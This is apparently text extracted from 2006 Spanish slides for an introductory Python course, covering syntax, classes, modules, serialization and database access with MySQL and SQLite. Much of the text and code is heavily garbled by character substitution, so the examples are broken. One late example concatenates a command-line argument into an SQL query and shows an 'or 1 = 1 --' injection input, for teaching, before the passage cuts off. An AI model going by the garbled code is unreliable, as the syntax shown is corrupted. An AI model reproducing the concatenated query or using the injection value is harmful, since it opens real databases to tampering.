Intro Python

Arkaitz Ruiz y Pablo Ordua
arkaitzr@gmail.com
pablo@ordunya.com
Cursillos Julio 2006 !"#ost
$ntroducci%n a Pyt#on
This work is licensed under the Creative Commons Attribution License. To view a copy of this license, visit
http://creativecommons.org/licenses/by/.!/ or send a letter to Creative Commons, ""# $athan Abbott %ay, &tanford, California #'(!",
Introduccin a Python
2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto
Sobre el cursillo
El cursillo est entre los Cursillos de Julio de los grupos

de inters de la Universidad de Deusto
Cursillos de Julio
Desde hace varios aos alu!nos y alu!nas de la "acultad de Ingenier#a de la

Universidad de Deusto organi$an de !anera voluntaria una serie de cursillos %ue
abarcan diversas reas de conoci!iento
Cuenta con el apoyo de pro&esores y de la "acultad de Ingenier#a ' ESIDE %ue

ani!a e i!pulsa estas actividades &acilitando el uso de aulas in&or!ati$adas y de!s
recursos para %ue su reali$acin sea lo !e(or posible
"iloso&#a de los cursillos
)Co!partir conoci!iento*
+yudar a dar los pri!eros pasos de una tecnolog#a lengua(e de progra!acin etc,
En consecuencia- En un cursillo se abarcan la !.i!a cantidad de te!as en el !#ni!o

tie!po posible, /o es posible pro&undi$ar !ucho en cada te!a pero s# ver lo
su&iciente para %ue el0la alu!no0a pueda seguir aprendiendo por su cuenta una ve$
dados los pri!eros pasos
Cursillos introductorios no e.haustivos
1s in&or!acin sobre los Cursillos de Julio
Este concreta!ente se da desde el grupo de so&t2are libre de la

Universidad 3el e4ghost5
1aterial del cursillo
6anto las transparencias co!o !uchos de

los e(e!plos de este cursillo estn basados
en las transparencias y e(e!plos de
Diego 7pe$ de Ipia los originales estn
disponibles en su pgina 2eb
En los e(e!plos hay una carpeta

8tresenraya9 %ue se &ue co!pletando y
re&inando durante el cursillo, 1uchos
e(e!plos estn !s co!pletos en el
!is!o
Contenido
Progra!acin !odular,
:rientacin a ob(etos
;ases de Datos
<17
=UI
+spectos !s avan$ados de Python

Python
Python &ue creado por =uido van >ossu!

3http-00222,python,org0?guido05
Da este no!bre al lengua(e inspirado por

el popular grupo c!ico britnico 1onty
Python
=uido cre Python durante unas

vacaciones de navidad en las %ue 3al
parecer5 se estaba aburriendo
@ola 1undo en Python
#!/usr/bin/env python
print "Hola Mundo" # "Hola Mundo"
print "hola", "mundo" # "hola mundo"
print "Hola" + "Mundo" # "HolaMundo"
Caracter#sticas de Python I
1uy legible y elegante
I!posible escribir cdigo o&uscado
Si!ple y poderoso
1ini!alista- todo a%uello innecesario no hay %ue

escribirlo 3A B C DEnD5
1uy denso- poco cdigo hace !ucho
Soporta ob(etos y estructuras de datos de alto nivel-

strings listas diccionarios etc,
1Fltiples niveles de organi$ar cdigo- &unciones

clases !dulos y pa%uetes
Python standard library 3

http-00222,python,org0doc0current0lib0lib,ht!l5 contiene
un sin&#n de clases de utilidad
Si hay reas %ue son lentas se pueden ree!pla$ar por

plugins en C o CGG siguiendo la +PI para e.tender o
e!potrar Python en una aplicacin o a travs de
herra!ientas co!o SHI= sip o Pyre.,
Caracter#sticas de Python II
De scripting
/o tienes %ue declarar constantes y variables antes de

utili$arlas
/o re%uiere paso de co!pilacin0linIage
7a pri!era ve$ %ue se e(ecuta un script de Python se

co!pila y genera bytecode %ue es luego interpretado
+lta velocidad de desarrollo y buen rendi!iento
Cdigo interoperable 3co!o en Java J2rite once run

every2hereJ5
Se puede utili$ar en !Fltiples plata&or!a 3!s aFn %ue

Java5
Puedes incluso e(ecutar Python dentro de una JK1

3Jython5 o de un ,/E6 >unti!e 3IronPython5 !viles de
la serie LM de /oIia,,, 3ver directorio 8e.a!ples0interpretes95
:pen source
>a$n por la cual la Python 7ibrary sigue creciendo
De propsito general
Puedes hacer en Python todo lo %ue puedes hacer con CN o

Java o !s
Peculiaridades sintcticas
Python usa tabulacin 3o espaciado5 para

!ostrar estructura de blo%ues
6abula una ve$ para indicar co!ien$o de blo%ue
Des4tabula para indicar el &inal del blo%ue

if x:
if y:
f1(
f!(
if (x "
if (y "
f1(#
$
f!(#
$
Cdigo en Python Cdigo en C/Java
Python vs, Java
Java es un lengua(e de progra!acin !uy

co!pleto %ue o&rece-
+!plio abanico de tipos de datos
Soporte para threads
6ipado esttico
O !ucho !s ,,,
Python es un lengua(e de scripting-
/o o&rece tipado esttico
;ueno para prototipos pero !alo para grandes

siste!as
Puede cascar en tie!po de e(ecucin
6odo lo %ue puedes hacer con Java ta!bin lo

puedes hacer con Python
Incluso puedes acceder a travs de Python a las +PI de

Java si usas Jython 3http-00222,(ython,org5
PPara %u QnoR es FtilS
Python no es el lengua(e per&ecto no es bueno

para-
Progra!acin de ba(o nivel 3syste!4progra!!ing5 co!o

progra!acin de drivers y Iernels
Python es de de!asiado alto nivel no hay control directo

sobre !e!oria y otras tareas de ba(o nivel
+plicaciones %ue re%uieren alta capacidad de co!puto
/o hay nada !e(or para este tipo de aplicaciones %ue el vie(o

C
Python es ideal-
Co!o lengua(e Jpega!entoJ para co!binar varios

co!ponentes (untos
Para llevar a cabo prototipos de siste!a
Para la elaboracin de aplicaciones cliente
Para desarrollo 2eb y de siste!as distribuidos
Para el desarrollo de tareas cient#&icas en los %ue hay

%ue si!ular y prototipar rpida!ente
Instalar Python
;a(ar la Flti!a versin de Python 3T,U5 de

http://%%%&python&or'/do%nload/
Para Hindo2s e(ecutar instalador
Para 7inu.-
En Debian Sarge- apt('et install python
Para "edora y 1andraIe se pueden obtener los rp!s

de- http-00222,python,org0T,U0rp!s,ht!l
Usando Python desde l#nea de
co!ando
Para arrancar el intrprete 3Python interactivo5 e(ecutar-

python)*ursillos:+, python
-ython !&.&/ (#!, 0pr !1 !223, 1.:./:45
6788 .&2&/ (9buntu .&2&/(1ubuntu4: on linux!
;ype "help", "*opyri'ht", "*redits" or "li*ense" for more
information&
<<<
Un co!ando si!ple-
<<< print "Hola Mundo"
Hola Mundo
<<<
Para salir del intrprete Ctrl4D 3en 7inu.5 o Ctrl4V 3en

Hindo2s5 o-
<<< import sys
<<< sys&exit(
,
E(ecutando progra!a
holamundo&py
Python desde script-
=uardar las siguientes sentencias en &ichero-

holamundo&py
print =Hola mundo!"
E(ecutar el script desde l#nea de co!ando-

, python hello%orld&py
Hola mundo!
,
Sentencias y blo%ues
7as sentencias acaban en nueva l#nea no en #
7os blo%ues son indicados por tabulacin %ue sigue a una

sentencia acabada en D:D, E,(, 3blo>ue&py5-
# *omentarios de l?nea se indi*an *on *ar@*ter A#A
name B "Cie'o1" # asi'na*iDn de valor a variable
if name BB "Cie'o":
print "0upa Cie'o"
else:
print "EFuiGn eresH"
print "IJo eres Cie'o!"
, python blo>ue&py
EFuiGn eresH
IJo eres Cie'o!
Identi&icadores
7os identi&icadores sirven para no!brar variables

&unciones y !dulos
Deben e!pe$ar con un carcter no nu!rico y contener

letras nF!eros y DKD
Python es case sensitive 3sensible a la capitali$acin5
Palabras reservadas-
and assert breaL *lass *ontinue def del elif else

ex*ept exe* finally for from 'lobal if import in is
lambda not or pass print raise return try %hile
yield
Kariables y &unciones deli!itadas por KK corresponden a

s#!bolos i!pl#cita!ente de&inidos-
KKnameKK no!bre de &uncin
KKdo*KK docu!entacin sobre una &uncin
KKinitKK( constructor de una clase
KKdi*tKK diccionario utili$ado para guardar los atributos de

un ob(eto
6ipos de datos I
/u!ricos 3integer long integer &loating4point

and co!ple.5
<<< x B .
<<< int (x
.
<<< lon'(x
.M
<<< float(x
.&2
<<< *omplex (., &!
(.+2&!N
6ipos de datos II
Strings deli!itados por un par de 3A " """,AAA5
Dos string (untos sin deli!itador se unen

<<< print "Hi" "there"
Hithere
7os cdigos de escape se e.presan a travs de DED-

<<<print AOnA
>a2 strings
<<< print rAOnOOA # no se Aes*apaA On
7o !is!o A %ue ", p&e& "OO6fooOO:" rAO6fooO:A
+lgunos de los !todos %ue se pueden aplicar a un string son-

<<< len(AMa vida es mu*ho meNor *on -ython&A
<<< /.
<<< AMa vida es mu*ho meNor *on -ython&A&upper(
AM0 PQC0 RS M98HT MRUTV 8TJ -W;HTJA
<<< "Ma vida es mu*ho meNor *on -ython"&find("-ython"
!1
<<< "Ma vida es mu*ho meNor *on -ython"&find(A-erlA
(1
<<< AMa vida es mu*ho meNor *on -ythonA&repla*e(A-ythonA, AUythonA
AMa vida es mu*ho meNor *on UythonA
6ipos de datos III
El !dulo strin' de la Python library de&ine !todos

para !anipulacin de strings-
7a !ayor#a de &unciones estn deprecadas en &avor de

!todos del ob(eto str
<<< import strin'
<<< s1 B AMa vida es meNor *on -ythonA
<<< strin'&find(s1, A-ythonA
!1
AXA es el operador de &or!ateo de cadenas-

<<< provin*ia B A0rabaA
<<< "Ma *apital de Xs es Xs" X (provin*ia, "7asteiY"
AMa *apital de 0raba es 7asteiYA
7os caracteres de &or!ateo son los !is!os %ue en C p,e, d f&&

6ipos de datos IK
Para poder escribir caracteres

con acentos es necesario
introducir la siguiente l#nea al
co!ien$o de un progra!a Python-
# (Z( en*odin': utf5 (Z(
7os strings en &or!ato unicode se

declaran precediendo el string de
una WuX-
print uAEFuG tal est@sHA

6ipos de datos K
7istas 6:
Inde.adas por un entero co!ien$an en M-

<<< meses B 6"Rnero", "[ebrero":
<<< print meses62:
Rnero
<<< meses&append("MarYo"
<<< print meses
6ARneroA, A[ebreroA, AMarYoA:
Dos puntos 3:5 es el operador de roda(as per!ite traba(ar con

una porcin de la lista el ele!ento indicado por el segundo
par!etro no se incluye-
<<< print meses61:!:
6A[ebreroA:
1s 3G5 es el operador de concatenacin-

<<< print meses+meses
6ARneroA, A[ebreroA, AMarYoA, ARneroA, A[ebreroA,
AMarYoA:
6ipos de datos KI
7as listas pueden contener cual%uier tipo de ob(etos Python-

<<< meses&append (meses
<<< print meses
6ARneroA, A[ebreroA, AMarYoA, 6ARneroA, A[ebreroA, AMarYoA ::
<<< meses&append(1
6ARneroA, A[ebreroA, AMarYoA, 6ARneroA, A[ebreroA, AMarYoA :, 1:
Para aadir un ele!ento a una lista-

YYY ite!s Z QU LR
YYY ite!s,insert3M 4[5
YYY ite!s
Q4[ U LR
Para usar una lista co!o una pila se pueden usar append y pop-
YYY ite!s,append3\\\5
YYY ite!s Q4[ U L \\\R
YYY ite!s,pop35
\\\
YYY ite!s Q4[ U LR
6ipos de datos KII
6uplas ( lo !is!o %ue listas pero no se pueden !odi&icar

python)*ursillos:+, python
-ython !&.&/ (#!, 0pr !1 !223, 1.:./:45
6788 .&2&/ (9buntu .&2&/(1ubuntu4: on linux!
;ype "help", "*opyri'ht", "*redits" or "li*ense" for more
information&
<<< mitupla B (AaA, 1, "hola"
<<< mitupla6!:
AholaA
<<< dir(mitupla
6AKKaddKKA, AKK*lassKKA, AKK*ontainsKKA, AKKdelattrKKA, AKKdo*KKA,
AKKe>KKA, AKK'eKKA, AKK'etattributeKKA, AKK'etitemKKA,
AKK'etne%ar'sKKA, AKK'etsli*eKKA, AKK'tKKA, AKKhashKKA,
AKKinitKKA, AKKiterKKA, AKKleKKA, AKKlenKKA, AKKltKKA, AKKmulKKA,
AKKneKKA, AKKne%KKA, AKKredu*eKKA, AKKredu*eKexKKA, AKKreprKKA,
AKKrmulKKA, AKKsetattrKKA, AKKstrKKA:
6ipos de datos KIII
Diccionarios "$ arrays asociativos o !apas inde.ados por una

clave la cual puede ser cual%uier ob(eto Python aun%ue
nor!al!ente es una tupla-
<<< mydi*t B ""altura" : "media", "habilidad" : "intermedia",
"salario" : 1222 $
<<< print mydi*t
"AalturaA: AmediaA, AhabilidadA: AintermediaA, AsalarioA:
1222$
<<< print mydi*t6"habilidad":
intermedia
Puedes co!probar la e.istencia de una clave en un diccionario

usando hasKLey:
if mydi*t&hasKLey(AalturaA:
print AJodo en*ontradoA
7o !is!o se podr#a hacer-

if AalturaA in mydi*t:
print AJodo en*ontradoA
Control de &lu(o- condicionales
E,(, 3*ondi*ional&py5
> B .
h B 4
if > \ h :
print "primer test pasado"
elif > BB .:
print => tiene valor .]
else:
print "se'undo test pasado"
<<< python *ondi*ional&py
primer test pasado
:peradores booleanos- JorJ JandJ JnotJ
:peradores relacionales- BB, <, \, !B

Control de &lu(o- bucles
for se utili$a para iterar sobre los !ie!bros

de una secuencia
Se puede usar sobre cual%uier tipo de datos %ue sea

una secuencia 3lista tupla diccionario5
E(, bu*le&py, enumerate&py

for x in ran'e(1,4:
print x
, python bu*le&py
1 ! / .
7a &uncin range crea una secuencia descrita

por (6start,: end 6,step: donde los
ca!pos start y step son opcionales, Start es
M y step es [ por de&ecto,
Control de &lu(o- bucles
%hile es otra sentencia de repeticin, E(ecuta un

blo%ue de cdigo hasta %ue una condicin es &alsa,
breaL nos sirve para salir de un bucle
Por e(e!plo-
reply B ArepiteA
%hile reply BB ArepiteA:
print AHolaA
reply B ra%Kinput(AQntrodu*e "repite" para
ha*erlo de nuevo: A

Hola
Qntrodu*e "repite" para ha*erlo de nuevo: repite
Hola
Qntrodu*e "repite" para ha*erlo de nuevo: adiDs
"unciones
Una &uncin se declara usando la palabra clave def

# fun*ionsimple&py
def myfun*(a,b:
sum B a + b
return sum
print myfun* (4,3
, python fun*ionsimple&py
11
+ una &uncin se le pueden asignar par!etros por de&ecto-

# fun*ionvaloresdefe*to&py
def myfun*(aB.,bB3:
sum B a + b
return sum
print myfun*(
print myfun*(bB5 # a es ., sobrees*ribir b a 5
, python fun*ion&py
12
1!
"unciones
7istas de argu!entos y argu!entos basados en palabras clave-

# fun*ionar'umentosvariablesy*on*lave&py
def test0r'MistsK1(Zar's, ZZL%ar's:
print Aar's:A, ar's
print AL%ar's:A, L%ar's
test0r'MistsK1(AaaaA, AbbbA, ar'1BA***A, ar'!BAdddA
def test0r'MistsK!(ar'2, Zar's, ZZL%ar's:
print Aar'2: "Xs"A X ar'2
print Aar's:A, ar's
print AL%ar's:A, L%ar's
print ABA Z .2
test0r'MistsK!(Aun primer ar'umentoA, AaaaA, AbbbA, ar'1BA***A,
ar'!BAdddA
Kisuali$ar#a-
ar's: (AaaaA, AbbbA
L%ar's: "Aar'1A: A***A, Aar'!A: AdddA$
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
ar'2: "un primer ar'umento"
ar's: (AaaaA, AbbbA
L%ar's: "Aar'1A: A***A, Aar'!A: AdddA$
Clases
Una clase contiene una coleccin de

!todos, Cada !todo contiene co!o
pri!er par!etro 3self5 %ue hace
re&erencia a un ob(eto
self e%uivalente a this en CGG
E.iste un soporte li!itado para variables

privadas !ediante na!e !angling,
Un identi&icador KKspam es ree!pla$ado por

K*lassnameKKspam,
El identi&icador es todav#a accesible por

K*lassnameKKspam,
En Python se soporta la herencia !Fltiple

Clases
# *lasepin'uinos&py
*lass -en'uin-en:
def KKinitKK(self:
self&pen'uin8ount B 2
def add (self, number B 1:
""" 0dd pen'uins to the pen& ;he default number is 1 """
self&pen'uin8ount B self&pen'uin8ount + number
def remove (self, number B 1:
""" Vemove one or more pen'uins from the pen """
self&pen'uin8ount B self&pen'uin8ount ( number
def population (self:
""" Ho% many pen'uins in the penH """
return self&pen'uin8ount
def KKdelKK(self:
pass
pen'uin-en B -en'uin-en(
pen'uin-en&add(4 # ;ux y su familia
print pen'uin-en&population(
1s clases
# *lasesheren*ia&py
*lass âsi*:
def KKinitKK(self, name:
self&name B name
def sho%(self:
print Aâsi* (( name: XsA X self&name
*lass Spe*ial(âsi*: # entre parGntesis la *lase base
def KKinitKK(self, name, edible:
âsi*&KKinitKK(self, name # se usa âsi* para referir a
self&upper B name&upper( # *lase base
self&edible B edible
def sho%(self:
âsi*&sho%(self
print ASpe*ial (( upper name: Xs&A X self&upper,
if self&edible:
print "QtAs edible&"
else:
print "QtAs not edible&"
def edible(self:
return self&edible
Probando clases
obN1 B âsi*(AManYanaA
obN1&sho%(
print ABA Z /2
obN! B Spe*ial(AJaranNaA, ;rue
obN!&sho%(
Kisuali$ar#a-
âsi* (( name: ManYana
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
âsi* (( name: JaranNa
Spe*ial (( upper name: J0V0JU0& QtAs edible&
E.cepciones
Cada ve$ %ue un error ocurre se lan$a una e.cepcin

visuali$ndose un e.tracto de la pila del siste!a, E,(,
ex*ep*ion&py-
#!/usr/bin/python
print a
, python ex*eption&py
;ra*eba*L (innermost last: [ile "ex*eption&py", line !, in
H print a JameRrror: a
Para capturar la e.cepcin se usa ex*ept-

try:
fhBopen("ne%&txt", "r"
ex*ept QTRrror, e:
print e
, python ex*ep*ion&py
6Rrrno !: Jo su*h file or dire*tory: Ane%&txtA
Puedes lan$ar tu propia e.cepcin usando el co!ando raise-

raise MyRx*eption(
raise SystemRxitModules(
E.cepciones personali$adas
# ex*ep*ionpersonaliYada&py
*lass R(VuntimeRrror:
def KKinitKK(self, ms':
self&ms' B ms'
def 'etMs'(self:
return self&ms'
try:
raise R(Ami mensaNe de errorA
ex*ept R, obN:
print AMs':A, obN&'etMs'(
Kisuali$ar#a-
Ms': mi mensaNe de error
1dulos
Un !dulo es una coleccin de !todos en un &ichero

%ue acaba en &py, El no!bre del &ichero deter!ina el
no!bre del !dulo en la !ayor#a de los casos,
E,(, modulo&py-
def one(a:
print "in one"
def t%o (*:
print "in t%o"
Uso de un !dulo-
<<< import modulo
<<< dir(modulo # lista *ontenidos mDdulo
6AKKbuiltinsKKA, AKKdo*KKA, AKKfileKKA, AKKnameKKA,
AoneA, At%oA:
<<< modulo&one(!
in one
1dulos II
import hace %ue un !dulo y su contenido

sean disponibles para su uso,
+lgunas &or!as de uso son-

import test
I!porta !odulo test, >e&erir a x en test con

Jtest&xJ,
from test import x
I!porta x de test, >e&erir a x en test con JxJ,

from test import Z
I!porta todos los ob(etos de test, >e&erir a x en

test con JxJ,
import test as the;est
I!porta testA lo hace disponible co!o the;est,

>e&erir a ob(ecto x co!o Jthe;est&xJ,
Pa%uetes I
Un pa%uete es una !anera de organi$ar un con(unto de

!dulos co!o una unidad, 7os pa%uetes pueden a su
ve$ contener otros pa%uetes,
Para aprender co!o crear un pa%uete considere!os el

siguiente contenido de un pa%uete-
pa*La'eKexample/
pa*La'eKexample/KKinitKK&py
pa*La'eKexample/module1&py
pa*La'eKexample/module!&py
O estos ser#an los contenidos de los &icheros

correspondientes-
# KKinitKK&py
# Rxponer defini*iones de mDdulos en este pa>uete&
from module1 import *lass1
from module! import *lass!
Pa%uetes II
# module1&py
*lass *lass1:
def KKinitKK(self:
self&des*ription B A*lass #1A
def sho%(self:
print self&des*ription
# module!&py
*lass *lass!:
def KKinitKK(self:
self&des*ription B A*lass #!A
def sho%(self:
print self&des*ription
Pa%uetes III
# testpa*La'e&py
import pa*La'eKexample
*1 B pa*La'eKexample&*lass1(
*1&sho%(
*! B pa*La'eKexample&*lass!(
*!&sho%(
Kisuali$ar#a-
*lass #1
*lass #!
7a locali$acin de los pa%uetes debe especi&icarse o

bien a travs de la variable de entorno -W;HTJ-0;H o
en cdigo del script !ediante sys&path
1ane(o de &icheros
7eer un &ichero 3leerfi*hero&py5

fh B open("holamundo&py" # open *rea un obNeto de tipo fi*hero
for line in fh&readlines( : # lee todas las l?neas en un fi*hero
print line,
fh&*lose(
, python leerfi*hero&py
#!/usr/bin/python
print "Hola mundo"
Escribir un &ichero 3es*ribirfi*hero&py5

fh B open("out&txt", "%"
fh&%rite ("estamos es*ribiendo &&&On"
fh&*lose(
, python es*ribirfi*hero&py
, *at out&txt
estamos es*ribiendo &&&
1s sobre print
print (printredire*t&py5
stdout en Python es sys&stdout, stdin es sys&stdin:

import sys
*lass -rintVedire*t:
def KKinitKK(self, filename:
self&filename B filename
def %rite(self, ms':
f B file(self&filename, AaA
f&%rite(ms'
f&*lose(
sys&stdout B -rintVedire*t(Atmp&lo'A
print AMo' messa'e #1A
print AMo' messa'e #!A
print AMo' messa'e #/A
Kariables globales en Python
Usar identi&icador 'lobal para re&erirse a variable global-

# variable'lobal&py
J0MR B "ManYana"
def sho%K'lobal(:
name B J0MR
print A(sho%K'lobal nombre: XsA X name
def setK'lobal(:
'lobal J0MR
J0MR B AJaranNaA
name B J0MR
print A(setK'lobal nombre: XsA X name
sho%K'lobal(
setK'lobal(
sho%K'lobal(
7o cual visuali$ar#a-
(sho%K'lobal nombre: ManYana
(setK'lobal nombre: JaranNa
(sho%K'lobal nombre: JaranNa
Seriali$acin de ob(etos
-i*Lle- Python :b(ect Seriali$ation
El !dulo pi*Lle i!ple!enta un algorit!o

para la seriali$acin y deseriali$acin de
ob(etos Python
Para seriali$ar una (erar%u#a de ob(etos creas un

Pi*Ller y luego lla!as al !todo dump(, o
si!ple!ente invocas el !todo dump( del
!dulo pi*Lle
Para deseriali$ar crear un 9npi*Ller e invocas

su !todo load( !ethod o si!ple!ente
invocas el !todo load( del !dulo pi*Lle
Se seriali$a el contenido del ob(eto KKdi*tKK de

la clase si se %uiere ca!biar este
co!porta!iento hay %ue sobrescribir los
!todos KK'etstateKK( y KKsetstateKK(,
Seriali$acin de ob(etos-
E(e!plo pi*Lle
import pickle # pi*Lleunpi*Lle&py
*lass Alumno:
def __init__(self, dni, nombre, apellido1, apellido!:
self&dni B dni
self&nombre B nombre
self&apellido1 B apellido1
self&apellido! B apellido!
def KKstrKK(self:
return "CJQ: " + self&dni + "OnOtJombre: " + self&nombre + "OnOt0pellido1: " +
self&apellido1 + "OnOt0pellido!: " + self&apellido! + "On"
def 'etKdni(self:
return self&dni
def 'etKnombre(self:
return self&nombre
def 'etKapellido1(self:
return self&apellido1
def 'etKapellido!(self:
return self&apellido!
alum B 0lumno("..4315/!-", "Cie'o", "MY& de Qpina", "7Y& de 0rtaYa"
print "0lumno a serialiYar:On", alum
f B open("0lumno&db", A%A
pi*Lle&dump(alum, f
f&*lose(
f B open("0lumno&db", "r"
alum! B pi*Lle&load(f
f&*lose(
print alum!&'etKdni(
print "0lumno leido:On", alum!
Seriali$acin de ob(etos- :tro
e(e!plo !s so&isticado
>evisar e(e!plos-
picIlinge.a!ple,py
unpicIlinge.a!ple,py
Utili$an los !todos especiales

KKsetstateKK( y KK'etstateKK(
Seriali$acin de ob(etos
El !dulo shelve de&ine diccionarios

persistentes las claves tienen %ue ser strings
!ientras %ue los valores pueden ser cual%uier
ob(eto %ue se puede seriali$ar con pi*Lle 3a
la 'dbm5
import shelve
d B shelve&open(filename # abre un fi*hero
d6Ley: B data # 'uarda un valor baNo Ley
data B d6Ley: # lo re*upera
del d6Ley: # lo borra
d&*lose(
Progra!acin de ;D en Python
7o %ue es JD;C en Java es D; +PI en Python
In&or!acin detallada en- http-00222,python,org0topics0database0
Para conectarnos a una base de datos usa!os el !todo

*onne*t del !dulo de base de datos utili$ado %ue devuelve
un ob(eto de tipo conne*tion
El ob(eto *onne*tion de&ine el !todo *ursor( %ue sirve

para recuperar un cursor de la ;D
:tros !todos de&inidos en *onne*tion son *lose( *ommit(

rollba*L(
El ob(eto *ursor de&ine entre otros los siguientes !todos-
exe*ute( nos per!ite enviar una sentencia S]7 a la ;D
fet*hone( recuperar una &ila
fet*hall( recuperar todas las &ilas
@ay varios !dulos %ue i!ple!entan el estndar D;4+PI-
DC:racle 3http-00222,$ope,org0Products0DC:racle05 creado por

Vope
1yS]7db 3http-00source&orge,net0pro(ects0!ys%l4python5
1yS]74python,e.e4[,T,M,2in^T4pyT,U,$ip para Hindo2s
1yS]74python4[,T,M,tar,g$ para 7inu.
apt('et install python!&.(mys>ldb
Etc,
7a base de datos open source !s popular
Desarrollada por 1yS]7 +; co!pa#a sueca cuyo

negocio se basa en labores de consultor#a sobre 1yS]7
http-00222,!ys%l,co!
Diseada para-
Desarrollo de aplicaciones cr#ticas
Siste!as con altos re%ueri!ientos de carga
Ser e!bebida en so&t2are
E.isten otras buenas alternativas open source co!o

Post=reS]7 3http-00222,postgres%l,org05
Instalacin 1yS]7
En la siguiente U>7 se pueden obtener

>P1s y e(ecutables para instalar la Flti!a
versin de produccin de 1yS]7 3\,M5
tanto en 7inu. co!o Hindo2s-
http://dev&mys>l&*om/do%nloads/mys>l/4&2&
html
En =/U07inu. est disponible a travs

repositorios
E(e!plo progra!acin ;D en
Python con 1yS]7 I
Crea!os una base de datos de no!bre deusto a la %ue pode!os hacer

login con usuario deusto y pass2ord deusto, a travGs del si'uiente
SFM:
8VR0;R C0;0^0SR deusto#
7V0J; 0M;RV, SRMR8;,QJSRV;,9-C0;R,CRMR;R,8VR0;R,CVT-
TJ deusto&Z
;T deusto)AXA
QCRJ;Q[QRC ^W AdeustoA#
7V0J; 0M;RV, SRMR8;,QJSRV;,9-C0;R,CRMR;R,8VR0;R,CVT-
TJ deusto&Z
;T deusto)lo*alhost
QCRJ;Q[QRC ^W AdeustoA#
use deusto#
8VR0;R ;0^MR RPRJ;TS(QC int(11 JT; J9MM -VQM0VW _RW,
JTM^VR P0V8H0V(!42, MT80MQ`08QTJ P0V8H0V(!42, [R8H0 bi'int(!2, CRS8VQ-8QTJ
P0V8H0V(!42#
QJSRV; QJ;T RPRJ;TS P0M9RS (2, ASRM0J0 RSQCRA, ARSQCR(CR9S;TA, 2, A8harla sobre
-ythonA#
Python con 1yS]7 II
# db/a**esodbeventosMySFM&py
import MySQLdb, time, Kmys>l, Kmys>lKex*eptions
def exe*uteSFM8ommand(*ursor, *ommand:
ro%Set B 6:
*ommand B *ommand&strip(
if len(*ommand:
try:
cursor.execute(command) # RNe*uta el *omando
if *ommand&lo%er(&starts%ith(Asele*tA: # si es sele*t
lines B cursor.fetchall() # re*uperar todos los resultados
for line in lines:
ro% B 6:
for *olumn in line:
ro%&append(*olumn
ro%Set&append(ro%
ex*ept Kmys>lKex*eptions&-ro'rammin'Rrror, e:
print e
sys&exit(
return ro%Set
Python con 1yS]7 III
if KKnameKK BB AKKmainKKA:
db=MySQLdb.connect(host=localhost!user=deusto!
pass"d=deusto! db=deusto)
cursor = db.cursor()
exe*uteSFM8ommand(*ursor, "update eventos set fe*haB" + str(time&time(Z1222
ro%Set B exe*uteSFM8ommand(*ursor, "sele*t Z from eventos"
for ro% in ro%Set:
print ro%
del *ursor
Kisuali$ando lo siguiente-
, python a**esodbeventosMySFM&py
62, A8ursillos de UulioA, ARSQCR(CR9S;TA, 1, A8ursillo -ythonA:
61, ATtro eventoA, ATtro lu'arA, 1, A8urso &&&A:
S]7ite
S]7ite es una base de datos :pen

Source !ini!alista
/o tiene ningFn de!onio por detrs- se

al!acenan los datos en un Fnico &ichero
Es real!ente pe%uea- no e.ige casi

recursos no tiene dependencias
"uncionalidad !uy li!itada en

co!paracin con otras ;D
1ultiplata&or!a
Utili$ada por aplicaciones de escritorio
http-00222,s%lite,org0
Python con S]7ite I
# db/a**esodbeventosSFMite&py
import s#lite, time, sys
ro%Set B 6:
if len(*ommand:
try:
cursor.execute(command) # RNe*uta el *omando
lines B cursor.fetchall() # re*uperar todos los resultados
for line in lines:
ro% B 6:
for *olumn in line:
ro%&append(*olumn
ro%Set&append(ro%
ex*ept s>lite&-ro'rammin'Rrror, e:
print e
sys&exit(
return ro%Set
Python con S]7ite II
db=s#lite.connect(db=deusto) $%deusto% ser& el nombre del fichero
cursor = db.cursor()
for ro% in ro%Set:
print ro%
del *ursor
, python a**esodbeventosSFMite&py
Python D; +PI I
)Pero si es lo !is!o*
S#-
los di&erentes !dulos de bases de datos

i!ple!entan la Python Database +PI
Speci&ication
http-00222,python,org0dev0peps0pep4MTU_0
7os !dulos 3s>lite MySFMdb,,,5

cu!plen el inter&a$ 3!todo *onne*t
*ursores ex*ep*iones,,,5
Python D; +PI II
El !todo *onne*t recibir di&erentes

par!etros en &uncin de la ;D concreta
En S]7ite no tiene sentido host user ni

pass%ord por e(e!plo
Co!o recibe Zar's no es proble!a

ponerlos el !dulo s>lite ignorar los
%ue no le interese
Utili$ando D;I 4 I
# db/a**esodbeventosC^Q&py
#9na de las dos si'uientes:
import s#lite as dbi
#import MySQLdb as dbi
import time, sys
ro%Set B 6:
if len(*ommand:
try:
*ursor&exe*ute(*ommand # RNe*uta el *omando
lines B *ursor&fet*hall( # re*uperar todos los resultados
for line in lines:
ro% B 6:
for *olumn in line:
ro%&append(*olumn
ro%Set&append(ro%
except dbi.'ro(rammin()rror! e*
print e
sys&exit(
return ro%Set
Utili$ando D;I 4 II
db=dbi.connect(host=%localhost%!user=%deusto%!pass"d=%deusto%!db=deusto)
*ursor B db&*ursor(
for ro% in ro%Set:
print ro%
del *ursor
, python a**esodbeventosC^Q&py
:tro e(e!plo de D;I 4 I
# db/a**esodbeventosC^Q-arametros&py
import s>lite as dbi
#import MySFMdb as dbi
import time, sys
ro%Set B 6:
if len(*ommand:
try:
*ursor&exe*ute(*ommand # RNe*uta el *omando
for line in lines:
ro% B 6:
for *olumn in line:
ro%&append(*olumn
ro%Set&append(ro%
ex*ept dbi&-ro'rammin'Rrror, e:
print e
sys&exit(
return ro%Setm&r
:tro e(e!plo de D;I 4 II
if len(sys.ar(+) ,= -*
print .. sys.stderr! /sa(e* python 0s L12AL34A2315 0 sys.ar(+678
sys.exit(9)
dbBdbi&*onne*t(hostB]lo*alhost],userB]deusto],pass%dB]deusto],dbB"deusto"
*ursor B db&*ursor(
ro"Set = executeSQL2ommand(cursor! select : from );)5<1S "here L12AL34A2315 =
=>sys.ar(+698>=)
for ro% in ro%Set:
print ro%
del *ursor
, python a**esodbeventosC^Q-arametros&py RSQCR(CR9S;T
:tro e(e!plo de D;I 4 III
Pero,,, Py la seguridadS
Si pone!os-
, python a**esodbeventosC^Q-arametros&py "lo>ueseaA or 1 B 1 (("
Si lo usa!os as# en Heb por e(e!plo

pode!os tener proble!as de seguridad
/ecesita!os co!probar %ue los

par!etros estn bien
Evitando inyeccin de S]7
Para evitar S]7 In(ection en D;I

pasare!os los par!etros a la sentencia
exe*ute-
